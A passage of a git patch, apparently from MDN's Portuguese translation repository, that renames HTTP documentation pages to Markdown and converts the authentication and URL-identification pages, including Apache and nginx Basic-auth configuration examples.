b/files/pt-br/web/http/status/451/index.md similarity index 100% rename from files/pt-br/web/http/status/451/index.html rename to files/pt-br/web/http/status/451/index.md diff --git a/files/pt-br/web/http/status/500/index.html b/files/pt-br/web/http/status/500/index.md similarity index 100% rename from files/pt-br/web/http/status/500/index.html rename to files/pt-br/web/http/status/500/index.md diff --git a/files/pt-br/web/http/status/501/index.html b/files/pt-br/web/http/status/501/index.md similarity index 100% rename from files/pt-br/web/http/status/501/index.html rename to files/pt-br/web/http/status/501/index.md diff --git a/files/pt-br/web/http/status/502/index.html b/files/pt-br/web/http/status/502/index.md similarity index 100% rename from files/pt-br/web/http/status/502/index.html rename to files/pt-br/web/http/status/502/index.md diff --git a/files/pt-br/web/http/status/503/index.html b/files/pt-br/web/http/status/503/index.md similarity index 100% rename from files/pt-br/web/http/status/503/index.html rename to files/pt-br/web/http/status/503/index.md diff --git a/files/pt-br/web/http/status/504/index.html b/files/pt-br/web/http/status/504/index.md similarity index 100% rename from files/pt-br/web/http/status/504/index.html rename to files/pt-br/web/http/status/504/index.md diff --git a/files/pt-br/web/http/status/505/index.html b/files/pt-br/web/http/status/505/index.md similarity index 100% rename from files/pt-br/web/http/status/505/index.html rename to files/pt-br/web/http/status/505/index.md diff --git a/files/pt-br/web/http/status/506/index.html b/files/pt-br/web/http/status/506/index.md similarity index 100% rename from files/pt-br/web/http/status/506/index.html rename to files/pt-br/web/http/status/506/index.md diff --git a/files/pt-br/web/http/status/507/index.html b/files/pt-br/web/http/status/507/index.md similarity index 100% rename from files/pt-br/web/http/status/507/index.html rename to files/pt-br/web/http/status/507/index.md diff --git a/files/pt-br/web/http/status/508/index.html b/files/pt-br/web/http/status/508/index.md similarity index 100% rename from files/pt-br/web/http/status/508/index.html rename to files/pt-br/web/http/status/508/index.md diff --git a/files/pt-br/web/http/status/510/index.html b/files/pt-br/web/http/status/510/index.md similarity index 100% rename from files/pt-br/web/http/status/510/index.html rename to files/pt-br/web/http/status/510/index.md diff --git a/files/pt-br/web/http/status/511/index.html b/files/pt-br/web/http/status/511/index.md similarity index 100% rename from files/pt-br/web/http/status/511/index.html rename to files/pt-br/web/http/status/511/index.md diff --git a/files/pt-br/web/http/status/index.html b/files/pt-br/web/http/status/index.md similarity index 100% rename from files/pt-br/web/http/status/index.html rename to files/pt-br/web/http/status/index.md From 58b48da35a6f09c3ef30d23faa26c3f1db8b27f1 Mon Sep 17 00:00:00 2001 From: SphinxKnight Date: Thu, 6 Oct 2022 13:17:43 +0200 Subject: [PATCH 2/3] convert content to md --- files/pt-br/web/http/authentication/index.md | 137 ++-- .../identifying_resources_on_the_web/index.md | 243 +++---- files/pt-br/web/http/basics_of_http/index.md | 86 +-- .../mime_types/common_types/index.md | 390 ++--------- .../http/basics_of_http/mime_types/index.md | 348 ++++----- files/pt-br/web/http/caching/index.md | 165 ++--- files/pt-br/web/http/compression/index.md | 68 +- .../index.md | 86 +-- .../web/http/content_negotiation/index.md | 154 ++-- .../list_of_default_accept_values/index.md | 290 ++------ files/pt-br/web/http/cookies/index.md | 248 ++++--- .../cors/errors/corsdidnotsucceed/index.md | 36 +- .../errors/corsmissingalloworigin/index.md | 56 +- .../corsnotsupportingcredentials/index.md | 34 +- .../cors/errors/corsrequestnothttp/index.md | 32 +- files/pt-br/web/http/cors/errors/index.md | 84 ++- files/pt-br/web/http/cors/index.md | 528 +++++++------- files/pt-br/web/http/csp/index.md | 147 ++-- files/pt-br/web/http/feature_policy/index.md | 191 +++-- .../using_feature_policy/index.md | 173 ++--- .../http/headers/accept-ch-lifetime/index.md | 54 +- .../pt-br/web/http/headers/accept-ch/index.md | 58 +- .../web/http/headers/accept-charset/index.md | 100 ++- .../web/http/headers/accept-encoding/index.md | 136 ++-- .../web/http/headers/accept-language/index.md | 113 ++- .../web/http/headers/accept-patch/index.md | 91 +-- .../web/http/headers/accept-ranges/index.md | 86 +-- files/pt-br/web/http/headers/accept/index.md | 112 ++- .../access-control-allow-credentials/index.md | 108 ++- .../access-control-allow-headers/index.md | 142 ++-- .../access-control-allow-methods/index.md | 87 +-- .../access-control-allow-origin/index.md | 100 ++- .../access-control-expose-headers/index.md | 122 ++-- .../headers/access-control-max-age/index.md | 88 +-- .../access-control-request-headers/index.md | 74 +- .../access-control-request-method/index.md | 74 +- files/pt-br/web/http/headers/age/index.md | 78 +-- files/pt-br/web/http/headers/allow/index.md | 72 +- files/pt-br/web/http/headers/alt-svc/index.md | 75 +- .../web/http/headers/authorization/index.md | 130 ++-- .../web/http/headers/cache-control/index.md | 259 ++++--- .../web/http/headers/clear-site-data/index.md | 152 ++-- .../web/http/headers/connection/index.md | 53 +- .../http/headers/content-disposition/index.md | 151 ++-- .../http/headers/content-encoding/index.md | 138 ++-- .../http/headers/content-language/index.md | 124 ++-- .../web/http/headers/content-length/index.md | 66 +- .../http/headers/content-location/index.md | 195 +++--- .../web/http/headers/content-range/index.md | 126 ++-- .../index.md | 195 +++--- .../headers/content-security-policy/index.md | 416 +++++------ .../web/http/headers/content-type/index.md | 137 ++-- files/pt-br/web/http/headers/cookie/index.md | 77 +- .../cross-origin-resource-policy/index.md | 79 +-- files/pt-br/web/http/headers/date/index.md | 149 ++-- .../web/http/headers/device-memory/index.md | 98 ++- files/pt-br/web/http/headers/digest/index.md | 102 ++- files/pt-br/web/http/headers/dnt/index.md | 106 ++- files/pt-br/web/http/headers/dpr/index.md | 65 +- .../web/http/headers/early-data/index.md | 66 +- files/pt-br/web/http/headers/etag/index.md | 122 ++-- .../pt-br/web/http/headers/expect-ct/index.md | 124 ++-- files/pt-br/web/http/headers/expect/index.md | 101 ++- files/pt-br/web/http/headers/expires/index.md | 90 ++- .../web/http/headers/feature-policy/index.md | 263 ++++--- .../pt-br/web/http/headers/forwarded/index.md | 128 ++-- files/pt-br/web/http/headers/from/index.md | 78 +-- files/pt-br/web/http/headers/host/index.md | 82 +-- .../pt-br/web/http/headers/if-match/index.md | 105 ++- .../http/headers/if-modified-since/index.md | 129 ++-- .../web/http/headers/if-none-match/index.md | 108 ++- .../pt-br/web/http/headers/if-range/index.md | 146 ++-- .../http/headers/if-unmodified-since/index.md | 137 ++-- files/pt-br/web/http/headers/index.md | 663 ++++++++---------- .../web/http/headers/keep-alive/index.md | 105 ++- .../http/headers/large-allocation/index.md | 111 ++- .../web/http/headers/last-modified/index.md | 117 ++-- files/pt-br/web/http/headers/link/index.md | 79 +-- .../pt-br/web/http/headers/location/index.md | 88 +-- files/pt-br/web/http/headers/nel/index.md | 52 +- files/pt-br/web/http/headers/origin/index.md | 99 ++- files/pt-br/web/http/headers/pragma/index.md | 93 ++- .../http/headers/proxy-authenticate/index.md | 94 ++- .../http/headers/proxy-authorization/index.md | 98 ++- files/pt-br/web/http/headers/range/index.md | 113 ++- files/pt-br/web/http/headers/referer/index.md | 90 +-- .../web/http/headers/referrer-policy/index.md | 388 +++++----- .../web/http/headers/retry-after/index.md | 97 ++- .../pt-br/web/http/headers/save-data/index.md | 106 ++- .../web/http/headers/sec-fetch-site/index.md | 108 ++- .../web/http/headers/server-timing/index.md | 74 +- files/pt-br/web/http/headers/server/index.md | 74 +- .../web/http/headers/set-cookie/index.md | 248 +++---- .../http/headers/set-cookie/samesite/index.md | 127 ++-- .../pt-br/web/http/headers/sourcemap/index.md | 74 +- .../strict-transport-security/index.md | 136 ++-- files/pt-br/web/http/headers/te/index.md | 94 ++- .../http/headers/timing-allow-origin/index.md | 92 ++- files/pt-br/web/http/headers/tk/index.md | 112 ++- files/pt-br/web/http/headers/trailer/index.md | 110 ++- .../http/headers/transfer-encoding/index.md | 121 ++-- .../upgrade-insecure-requests/index.md | 83 +-- .../web/http/headers/user-agent/index.md | 181 +++-- files/pt-br/web/http/headers/vary/index.md | 94 ++- files/pt-br/web/http/headers/via/index.md | 89 ++- .../web/http/headers/want-digest/index.md | 129 ++-- files/pt-br/web/http/headers/warning/index.md | 182 ++--- .../http/headers/www-authenticate/index.md | 106 ++- .../headers/x-content-type-options/index.md | 103 ++- .../headers/x-dns-prefetch-control/index.md | 108 ++- .../web/http/headers/x-forwarded-for/index.md | 86 ++- .../http/headers/x-forwarded-host/index.md | 74 +- .../http/headers/x-forwarded-proto/index.md | 74 +- .../web/http/headers/x-frame-options/index.md | 180 +++-- .../http/headers/x-xss-protection/index.md | 116 ++- files/pt-br/web/http/index.md | 102 ++- files/pt-br/web/http/messages/index.md | 166 ++--- files/pt-br/web/http/methods/connect/index.md | 106 ++- files/pt-br/web/http/methods/delete/index.md | 131 ++-- files/pt-br/web/http/methods/get/index.md | 106 ++- files/pt-br/web/http/methods/head/index.md | 97 ++- files/pt-br/web/http/methods/index.md | 97 +-- files/pt-br/web/http/methods/options/index.md | 131 ++-- files/pt-br/web/http/methods/patch/index.md | 125 ++-- files/pt-br/web/http/methods/post/index.md | 157 +++-- files/pt-br/web/http/methods/put/index.md | 128 ++-- files/pt-br/web/http/methods/trace/index.md | 96 ++- files/pt-br/web/http/overview/index.md | 225 +++--- files/pt-br/web/http/redirections/index.md | 307 ++++---- files/pt-br/web/http/session/index.md | 170 +++-- files/pt-br/web/http/status/100/index.md | 41 +- files/pt-br/web/http/status/101/index.md | 61 +- files/pt-br/web/http/status/103/index.md | 43 +- files/pt-br/web/http/status/200/index.md | 53 +- files/pt-br/web/http/status/201/index.md | 39 +- files/pt-br/web/http/status/202/index.md | 31 +- files/pt-br/web/http/status/203/index.md | 39 +- files/pt-br/web/http/status/204/index.md | 49 +- files/pt-br/web/http/status/205/index.md | 39 +- files/pt-br/web/http/status/206/index.md | 79 +-- files/pt-br/web/http/status/300/index.md | 40 +- files/pt-br/web/http/status/301/index.md | 61 +- files/pt-br/web/http/status/302/index.md | 49 +- files/pt-br/web/http/status/303/index.md | 39 +- files/pt-br/web/http/status/304/index.md | 51 +- files/pt-br/web/http/status/307/index.md | 48 +- files/pt-br/web/http/status/308/index.md | 47 +- files/pt-br/web/http/status/400/index.md | 37 +- files/pt-br/web/http/status/401/index.md | 71 +- files/pt-br/web/http/status/402/index.md | 60 +- files/pt-br/web/http/status/403/index.md | 46 +- files/pt-br/web/http/status/404/index.md | 57 +- files/pt-br/web/http/status/405/index.md | 35 +- files/pt-br/web/http/status/406/index.md | 63 +- files/pt-br/web/http/status/407/index.md | 71 +- files/pt-br/web/http/status/408/index.md | 43 +- files/pt-br/web/http/status/409/index.md | 35 +- files/pt-br/web/http/status/410/index.md | 45 +- files/pt-br/web/http/status/411/index.md | 39 +- files/pt-br/web/http/status/412/index.md | 45 +- files/pt-br/web/http/status/413/index.md | 35 +- files/pt-br/web/http/status/414/index.md | 43 +- files/pt-br/web/http/status/415/index.md | 41 +- files/pt-br/web/http/status/416/index.md | 47 +- files/pt-br/web/http/status/417/index.md | 35 +- files/pt-br/web/http/status/418/index.md | 39 +- files/pt-br/web/http/status/422/index.md | 33 +- files/pt-br/web/http/status/425/index.md | 33 +- files/pt-br/web/http/status/426/index.md | 55 +- files/pt-br/web/http/status/428/index.md | 41 +- files/pt-br/web/http/status/429/index.md | 51 +- files/pt-br/web/http/status/431/index.md | 47 +- files/pt-br/web/http/status/451/index.md | 75 +- files/pt-br/web/http/status/500/index.md | 37 +- files/pt-br/web/http/status/501/index.md | 47 +- files/pt-br/web/http/status/502/index.md | 43 +- files/pt-br/web/http/status/503/index.md | 49 +- files/pt-br/web/http/status/504/index.md | 41 +- files/pt-br/web/http/status/505/index.md | 33 +- files/pt-br/web/http/status/506/index.md | 29 +- files/pt-br/web/http/status/507/index.md | 29 +- files/pt-br/web/http/status/508/index.md | 31 +- files/pt-br/web/http/status/510/index.md | 29 +- files/pt-br/web/http/status/511/index.md | 37 +- files/pt-br/web/http/status/index.md | 350 +++++---- 185 files changed, 8682 insertions(+), 11379 deletions(-) diff --git a/files/pt-br/web/http/authentication/index.md b/files/pt-br/web/http/authentication/index.md index 41569e31192459..a2bc7cc6554516 100644 --- a/files/pt-br/web/http/authentication/index.md +++ b/files/pt-br/web/http/authentication/index.md @@ -8,119 +8,120 @@ tags: - Segurança translation_of: Web/HTTP/Authentication --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

O HTTP fornece uma estrutura geral para controle de acesso e autenticação. A autenticação HTTP mais comum é fundamentada no esquema "Basic". Esta página introduz a estrutura HTTP para autenticação e mostra como restringir acesso ao seu servidor usando o esquema "Basic".

+O HTTP fornece uma estrutura geral para controle de acesso e autenticação. A autenticação HTTP mais comum é fundamentada no esquema "Basic". Esta página introduz a estrutura HTTP para autenticação e mostra como restringir acesso ao seu servidor usando o esquema "Basic". -

A estrutura geral de autenticação HTTP

+## A estrutura geral de autenticação HTTP -

{{RFC("7235")}} define a estrutura de autenticação HTTP que pode ser usada por um servidor para definir uma solicitação ("{{glossary("challenge")}}") do cliente e para um cliente fornecer informações de autenticação. A pergunta e resposta segue um caminho como esse: O servidor responde ao cliente com uma mensagem do tipo {{HTTPStatus("401")}} (Não autorizado) e fornece informações de como autorizar com um cabeçalho de resposta {{HTTPHeader("WWW-Authenticate")}} contendo ao menos uma solicitação. Um cliente que deseja autenticar-se com um servidor pode fazer isso incluindo um campo de cabeçalho de solicitação {{HTTPHeader("WWW-Authenticate")}} com as credenciais. Usualmente um cliente apresentará uma solicitação de senha ao usuário e, em seguida, emitirá uma solicitação incluindo o cabeçalho Authorization correto.

+{{RFC("7235")}} define a estrutura de autenticação HTTP que pode ser usada por um servidor para definir uma solicitação ("{{glossary("challenge")}}") do cliente e para um cliente fornecer informações de autenticação. A pergunta e resposta segue um caminho como esse: O servidor responde ao cliente com uma mensagem do tipo {{HTTPStatus("401")}} (Não autorizado) e fornece informações de como autorizar com um cabeçalho de resposta {{HTTPHeader("WWW-Authenticate")}} contendo ao menos uma solicitação. Um cliente que deseja autenticar-se com um servidor pode fazer isso incluindo um campo de cabeçalho de solicitação {{HTTPHeader("WWW-Authenticate")}} com as credenciais. Usualmente um cliente apresentará uma solicitação de senha ao usuário e, em seguida, emitirá uma solicitação incluindo o cabeçalho `Authorization` correto. -

A sequence diagram illustrating HTTP messages between a client and a server lifeline.

+![A sequence diagram illustrating HTTP messages between a client and a server lifeline.](https://mdn.mozillademos.org/files/14689/HTTPAuth.png "Sequence Diagram of Client-server HTTP Authentication") -

No caso de uma autorização "Basic" (como a mostrada na figura), a troca deve acontecer por meio de uma conexão HTTP (TLS) para ser segura.

+No caso de uma autorização "Basic" (como a mostrada na figura), a troca **deve** acontecer por meio de uma conexão HTTP (TLS) para ser segura. -

Autenticação de Proxy

+### Autenticação de Proxy -

O mesmo mecanismo de solicitação e resposta pode ser usado para uma autenticação de proxy. Neste caso, é um proxy intermediário que requer autenticação. Como ambas autenticação de recurso e autenticação de proxy podem coexistir, um conjunto diferente de códigos de cabeçalhos e status torna-se necessário. No caso de proxys, o código de status de solicitação é {{HTTPStatus("407")}} (Autenticação de Proxy necessária), o cabeçalho de resposta {{HTTPHeader("Proxy-Authenticate")}} contém ao menos uma solicitação aplicável para o proxy, e o cabeçalho de pedido {{HTTPHeader("Proxy-Authorization")}} é usado para fornecer as credenciais ao servidor proxy.

+O mesmo mecanismo de solicitação e resposta pode ser usado para uma _autenticação de proxy_. Neste caso, é um proxy intermediário que requer autenticação. Como ambas autenticação de recurso e autenticação de proxy podem coexistir, um conjunto diferente de códigos de cabeçalhos e status torna-se necessário. No caso de proxys, o código de status de solicitação é {{HTTPStatus("407")}} (Autenticação de Proxy necessária), o cabeçalho de resposta {{HTTPHeader("Proxy-Authenticate")}} contém ao menos uma solicitação aplicável para o proxy, e o cabeçalho de pedido {{HTTPHeader("Proxy-Authorization")}} é usado para fornecer as credenciais ao servidor proxy. -

Acesso proibido

+### Acesso proibido -

Se um servidor proxy recebe credenciais válidas, mas que não são adequadas para ter acesso a um determinado recurso, o servidor responderá com o código de status Forbidden {{HTTPStatus("403")}}. Ao contrário de {{HTTPStatus("401")}} Unauthorized ou {{HTTPStatus("407")}} Proxy Authentication Required, a autenticação é impossível para este usuário.

+Se um servidor proxy recebe credenciais válidas, mas que não são adequadas para ter acesso a um determinado recurso, o servidor responderá com o código de status `Forbidden` {{HTTPStatus("403")}}. Ao contrário de {{HTTPStatus("401")}} `Unauthorized` ou {{HTTPStatus("407")}} `Proxy Authentication Required`, a autenticação é impossível para este usuário. -

Autenticação de imagens de origem cruzada

+### Autenticação de imagens de origem cruzada -

Um potencial buraco de segurança que foi corrigido recentemente pelos navegadores é a autenticação de imagens cross-site (origem cruzada). Do Firefox 59 em diante, recursos de imagem carregados de diferentes origens não são mais capazes de adicionar diálogos de autenticação HTTP ({{bug(1423146)}}), impedindo que as credencias do usuário sejam roubadas se invasores conseguissem incorporar uma imagem arbitrária em uma página de terceiros.

+Um potencial buraco de segurança que foi corrigido recentemente pelos navegadores é a autenticação de imagens cross-site (origem cruzada). Do [Firefox 59](/pt-BR/docs/Mozilla/Firefox/Releases/59) em diante, recursos de imagem carregados de diferentes origens não são mais capazes de adicionar diálogos de autenticação HTTP ({{bug(1423146)}}), impedindo que as credencias do usuário sejam roubadas se invasores conseguissem incorporar uma imagem arbitrária em uma página de terceiros. -

A codificação de caracteres da autenticação HTTP

+### A codificação de caracteres da autenticação HTTP -

Os navegadores usam a codificação utf-8 para nomes de usuários e senhas. Firefox usava ISO-8859-1, mas alterou para utf-8 por questões de compatiblidade com outros navegadores, assim como para evitar os potenciais problemas descritos em {{bug(1419658)}}.

+Os navegadores usam a codificação `utf-8` para nomes de usuários e senhas. Firefox usava `ISO-8859-1`, mas alterou para `utf-8` por questões de compatiblidade com outros navegadores, assim como para evitar os potenciais problemas descritos em {{bug(1419658)}}. -

+### Cabeçalhos `WWW-Authenticate` e `Proxy-Authenticate` -

Cabeçalhos WWW-Authenticate e Proxy-Authenticate

+Os cabeçalhos de resposta {{HTTPHeader("WWW-Authenticate")}} e {{HTTPHeader("Proxy-Authenticate")}} definem o método de autenticação que deve ser usado para ganhar acesso a um recurso. Eles precisam especificar que esquema de autenticação é usado para que o cliente que deseja autorizar saiba como fornecer as credenciais. A sintaxe para esses cabeçalhos é a seguinte: -

Os cabeçalhos de resposta {{HTTPHeader("WWW-Authenticate")}} e {{HTTPHeader("Proxy-Authenticate")}} definem o método de autenticação que deve ser usado para ganhar acesso a um recurso. Eles precisam especificar que esquema de autenticação é usado para que o cliente que deseja autorizar saiba como fornecer as credenciais. A sintaxe para esses cabeçalhos é a seguinte:

+``` +WWW-Authenticate: realm= +Proxy-Authenticate: realm= +``` -
WWW-Authenticate: <type> realm=<realm>
-Proxy-Authenticate: <type> realm=<realm>
-
+`` é o esquema de autenticação ("Basic" é o esquema mais comum e será introduzido abaixo). O _realm_ é usado para indicar a área protegida ou o escopo de proteção. Poderia ser uma mensagem parecida com "Access to the staging site" (Acesso ao site de teste), portanto o usuário saberá qual área ele está tentando acessar. -

<type> é o esquema de autenticação ("Basic" é o esquema mais comum e será introduzido abaixo). O realm é usado para indicar a área protegida ou o escopo de proteção. Poderia ser uma mensagem parecida com "Access to the staging site" (Acesso ao site de teste), portanto o usuário saberá qual área ele está tentando acessar.

+### Cabeçalhos `Authorization` e `Proxy-Authorization` -

Cabeçalhos Authorization e Proxy-Authorization

+Os cabeçalhos de solicitação {{HTTPHeader("Authorization")}} e {{HTTPHeader("Proxy-Authorization")}} contém as credenciais para autenticar um agente de usuário com um servidor proxy. Aqui o tipo é novamente necessário, seguido pelas credenciais, que podem ser codificadas ou criptografadas dependendo do esquema de autenticação usado. -

Os cabeçalhos de solicitação {{HTTPHeader("Authorization")}} e {{HTTPHeader("Proxy-Authorization")}} contém as credenciais para autenticar um agente de usuário com um servidor proxy. Aqui o tipo é novamente necessário, seguido pelas credenciais, que podem ser codificadas ou criptografadas dependendo do esquema de autenticação usado.

+``` +Authorization: +Proxy-Authorization: +``` -
Authorization: <type> <credentials>
-Proxy-Authorization: <type> <credentials>
-
+### Esquemas de autenticação -

Esquemas de autenticação

+A estrutura geral de autenticação HTTP é usado por vários esquemas de autenticação. Os esquemas podem divergir na força da segurança e na disponibilidade do software cliente ou servidor. -

A estrutura geral de autenticação HTTP é usado por vários esquemas de autenticação. Os esquemas podem divergir na força da segurança e na disponibilidade do software cliente ou servidor.

+O esquema mais comum de autenticação é o "Basic", que é introduzido com mais detalhes abaixo. IANA mantém uma [lista de esquemas de autenticação](https://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml), mas existem outros esquemas oferecidos por serviços de hospedagem, como Amazon AWS. Os esquemas de autenticação comuns incluem: -

O esquema mais comum de autenticação é o "Basic", que é introduzido com mais detalhes abaixo. IANA mantém uma lista de esquemas de autenticação, mas existem outros esquemas oferecidos por serviços de hospedagem, como Amazon AWS. Os esquemas de autenticação comuns incluem:

+- **Basic** (veja {{rfc(7617)}}, credenciais codificadas em base64. Veja abaixo mais informações.), +- **Bearer** (veja {{rfc(6750)}}, tokens bearer (de portador) para acessar recursos protegidos por OAuth 2.0), +- **Digest** (veja {{rfc(7616)}}, apenas hash md5 é suportado no Firefox, veja {{bug(472823)}} para o suporte de encriptação SHA), +- **HOBA** (veja {{rfc(7486)}} (esboço), **H**TTP **O**rigin-**B**ound **A**uthentication (Autenticação Vinculada à Origem HTTP), baseado em assinatura digital), +- **Mutual** (veja [draft-ietf-httpauth-mutual](https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11)), +- **AWS4-HMAC-SHA256** (veja [Documentação AWS](http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html)). -
    -
  • Basic (veja {{rfc(7617)}}, credenciais codificadas em base64. Veja abaixo mais informações.),
  • -
  • Bearer (veja {{rfc(6750)}}, tokens bearer (de portador) para acessar recursos protegidos por OAuth 2.0),
  • -
  • Digest (veja {{rfc(7616)}}, apenas hash md5 é suportado no Firefox, veja {{bug(472823)}} para o suporte de encriptação SHA),
  • -
  • HOBA (veja {{rfc(7486)}} (esboço), HTTP Origin-Bound Authentication (Autenticação Vinculada à Origem HTTP), baseado em assinatura digital),
  • -
  • Mutual (veja draft-ietf-httpauth-mutual),
  • -
  • -

    AWS4-HMAC-SHA256 (veja Documentação AWS).

    -
  • -
+## Esquema Basic de autenticação -

Esquema Basic de autenticação

+O esquema "Basic" de autenticação HTTP é definido em {{rfc(7617)}}, transmitindo credenciais como pares de ID/senhas de usuários, codificadas usando base64. -

O esquema "Basic" de autenticação HTTP é definido em {{rfc(7617)}}, transmitindo credenciais como pares de ID/senhas de usuários, codificadas usando base64.

+### Segurança da autenticação básica -

Segurança da autenticação básica

+Como o ID e senha do usuário são transmitidos através da rede como texto claro (é codificado em base64, mas base64 é uma codificação reversível), o esquema básico de autenticação não é seguro. HTTPS / TLS devem ser usados em conjunto com autenticação básica. Sem esses aprimoramentos de segurança adicionais, a autenticação básica não deve ser usada para proteger informação sensível ou valiosa. -

Como o ID e senha do usuário são transmitidos através da rede como texto claro (é codificado em base64, mas base64 é uma codificação reversível), o esquema básico de autenticação não é seguro. HTTPS / TLS devem ser usados em conjunto com autenticação básica. Sem esses aprimoramentos de segurança adicionais, a autenticação básica não deve ser usada para proteger informação sensível ou valiosa.

+### Restringindo acesso no Apache e autorização básica -

Restringindo acesso no Apache e autorização básica

+Para proteger com senha um diretório em um servidor Apache, você precisará de um arquivo `.htaccess` e um `.htpasswd`. -

Para proteger com senha um diretório em um servidor Apache, você precisará de um arquivo .htaccess e um .htpasswd.

+O arquivo `.htaccess` normalmente parece com isso: -

O arquivo .htaccess normalmente parece com isso:

- -
AuthType Basic
+```
+AuthType Basic
 AuthName "Access to the staging site"
 AuthUserFile /path/to/.htpasswd
-Require valid-user
+Require valid-user +``` -

O arquivo .htaccess referencia um arquivo .htpasswd em que cada linha contém um nome de usuário e senha separados por dois pontos (":"). Você não pode ver as senhas reais porque foram criptografadas (em md5, neste caso). Note que você pode renomear seu arquivo .htpasswd caso queira, mas tenha em mente que este arquivo não deve ser acessado por ninguém. (Apache normalmente é configurado para previnir acesso aos arquivos .ht*).

+O arquivo `.htaccess` referencia um arquivo `.htpasswd` em que cada linha contém um nome de usuário e senha separados por dois pontos (":"). Você não pode ver as senhas reais porque foram [criptografadas](https://httpd.apache.org/docs/2.4/misc/password_encryptions.html) (em md5, neste caso). Note que você pode renomear seu arquivo `.htpasswd` caso queira, mas tenha em mente que este arquivo não deve ser acessado por ninguém. (Apache normalmente é configurado para previnir acesso aos arquivos `.ht*`). -
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+```
+aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
 user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
-
+``` -

Restringindo acesso no nginx e autenticação básica

+### Restringindo acesso no nginx e autenticação básica -

No nginx, você precisará especificar uma área que que você protegerá e a diretiva auth_basic que fornece o nome para a área protegida por senha. A diretiva auth_basic_user_file aponta para um arquivo .htpasswd contentdo as credenciais do usuário criptografadas, assim como no exemplo Apache acima.

+No nginx, você precisará especificar uma área que que você protegerá e a diretiva `auth_basic` que fornece o nome para a área protegida por senha. A diretiva `auth_basic_user_file` aponta para um arquivo .htpasswd contentdo as credenciais do usuário criptografadas, assim como no exemplo Apache acima. -
location /status {
+```
+location /status {
     auth_basic           "Access to the staging site";
     auth_basic_user_file /etc/apache2/.htpasswd;
-}
+} +``` -

Acesso usando as credenciais na URL

+### Acesso usando as credenciais na URL -

Vários clientes também permitem que você evite o prompt de login usando uma URL codificada contendo o nome de usuário e senha como esta:

+Vários clientes também permitem que você evite o prompt de login usando uma URL codificada contendo o nome de usuário e senha como esta: -
https://username:password@www.example.com/
+```plain example-bad +https://username:password@www.example.com/ +``` -

O uso destas URLs está obsoleto. No Chrome, a parte username:password@ nas URLs é retirada por razões de segurança. No Firefox, é verificado se o site realmente Airequer autenticação e, se não, Firefox alertará o usuário com uma mensagem "Você está prestes a logar no site “www.example.com” com seu nome de usuário "username", mas o website não requer autenticação. Isso pode ser uma tentativa de enganá-lo".

+**O uso destas URLs está obsoleto**. No Chrome, a parte `username:password@` nas URLs é [retirada](https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7) por razões de segurança. No Firefox, é verificado se o site realmente Airequer autenticação e, se não, Firefox alertará o usuário com uma mensagem "Você está prestes a logar no site “www\.example.com” com seu nome de usuário "username", mas o website não requer autenticação. Isso pode ser uma tentativa de enganá-lo". -

Veja também

+## Veja também -
    -
  • {{HTTPHeader("WWW-Authenticate")}}
  • -
  • {{HTTPHeader("Authorization")}}
  • -
  • {{HTTPHeader("Proxy-Authorization")}}
  • -
  • {{HTTPHeader("Proxy-Authenticate")}}
  • -
  • {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}
  • -
+- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPHeader("Authorization")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/pt-br/web/http/basics_of_http/identifying_resources_on_the_web/index.md b/files/pt-br/web/http/basics_of_http/identifying_resources_on_the_web/index.md index 22ae32a79b38a9..10020d181c2aa4 100644 --- a/files/pt-br/web/http/basics_of_http/identifying_resources_on_the_web/index.md +++ b/files/pt-br/web/http/basics_of_http/identifying_resources_on_the_web/index.md @@ -14,171 +14,114 @@ tags: translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web original_slug: Web/HTTP/Basico_sobre_HTTP/Identifying_resources_on_the_Web --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

O alvo de uma requisição HTTP é chamada de "resource", ou recurso em português, com a natureza ainda não definida; Isso pode ser um documento, uma foto ou qualquer outra coisa. Cada recurso é identificado por uma Identificação de recursos uniforme, do inglês Uniform Resource Identifier ({{Glossary("URI")}}) usada pelo HTTP para identificar recursos.

+O alvo de uma requisição HTTP é chamada de "resource", ou recurso em português, com a natureza ainda não definida; Isso pode ser um documento, uma foto ou qualquer outra coisa. Cada recurso é identificado por uma Identificação de recursos uniforme, do inglês **Uniform Resource Identifier** ({{Glossary("URI")}}) usada pelo HTTP para identificar recursos. -

A identidade e a localização de recursos na Web são fornecidas, principalmente por um único URL (Uniform Resource Locator, um tipo de URI). Pode ser que as vezes as a identidade e a localização não são dadas pelo mesmo URI: O HTTP usa um cabeçalho HTTP específico, {{HTTPHeader("Alt-Svc")}} quando o recurso solicitado quer que o cliente acesse-o de outra localização

+A identidade e a localização de recursos na Web são fornecidas, principalmente por um único URL (Uniform Resource Locator, um tipo de URI). Pode ser que as vezes as a identidade e a localização não são dadas pelo mesmo URI: O HTTP usa um cabeçalho HTTP específico, {{HTTPHeader("Alt-Svc")}} quando o recurso solicitado quer que o cliente acesse-o de outra localização -

URLs e URNs

+## URLs e URNs -

URLs

+### URLs -

A forma mais comum de URL é o Uniform Resource Locator ({{Glossary("URL")}}) , que é conhecido como endereço de Web.

+A forma mais comum de URL é o Uniform Resource Locator ({{Glossary("URL")}}) , que é conhecido como endereço de Web. -
https://developer.mozilla.org
+```
+https://developer.mozilla.org
 https://developer.mozilla.org/pt-BR/docs/Learn/
-https://developer.mozilla.org/pt-BR/search?q=URL
+https://developer.mozilla.org/pt-BR/search?q=URL +``` -

Qualquer um desses URLs podem ser digitado na barra de endereços do seu navegador dizendo para carregar a página associada (recurso).

+Qualquer um desses URLs podem ser digitado na barra de endereços do seu navegador dizendo para carregar a página associada (recurso). -

Uma URL é composta por diferentes partes, algumas são estritamente necessárias e outras são opcionais. Um exemplo mais complexo seria algo como isso:

+Uma URL é composta por diferentes partes, algumas são estritamente necessárias e outras são opcionais. Um exemplo mais complexo seria algo como isso: -
